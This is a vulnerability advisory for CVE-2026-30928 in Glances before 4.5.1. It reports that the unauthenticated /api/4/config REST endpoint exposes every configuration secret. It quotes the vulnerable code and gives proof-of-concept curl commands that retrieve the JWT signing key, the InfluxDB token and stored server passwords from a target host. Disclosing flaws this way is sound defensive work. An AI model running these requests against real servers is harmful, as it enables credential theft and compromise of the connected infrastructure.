high8.7

CVE-2026-30928

Glances Exposes Unauthenticated Configuration Secrets

Impact

### Summary The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. ### Details Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied. Affected Code: - _File: glances/outputs/glances_restful_api.py, lines 1154-1167_ ``` def _api_config(self): """Glances API RESTful implementation. Return the JSON representation of the Glances configuration file HTTP/200 if OK HTTP/404 if others error """ try: # Get the RAW value of the config' dict args_json = self.config.as_dict() # <-- Returns ALL config including secrets except Exception as e: raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})") else: return GlancesJSONResponse(args_json) ``` - _File: glances/config.py, lines 280-287_ ``` def as_dict(self): """Return the configuration as a dict""" dictionary = {} for section in self.parser.sections(): dictionary[section] = {} for option in self.parser.options(section): dictionary[section][option] = self.parser.get(section, option) # No filtering return dictionary ``` - _File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)_ ``` if self.args.password: router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.url_prefix) # No authentication! ``` ### PoC - Start Glances in default webserver mode: ``` glances -w # Glances web server started on http://0.0.0.0:61208/ ``` - From any network-reachable host, retrieve all configuration secrets: ``` # Get entire config including all credentials curl http://target:61208/api/4/config ``` Step 3: Extract specific secrets: ``` # Get JWT secret key for token forgery curl http://target:61208/api/4/config/outputs/jwt_secret_key # Get InfluxDB token curl http://target:61208/api/4/config/influxdb2/token # Get all stored server passwords curl http://target:61208/api/4/config/passwords ``` ### Impact Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.

Affected packages

Ecosystem	Package	Affected	Fixed in
pip	`glances`	< 4.5.1	4.5.1

Affected products

Vendor	Product	Affected versions
Nicolargo	Glances	before 4.5.1

Weakness classification

CWE-200

Impact

Affected packages

Affected products

Weakness classification

References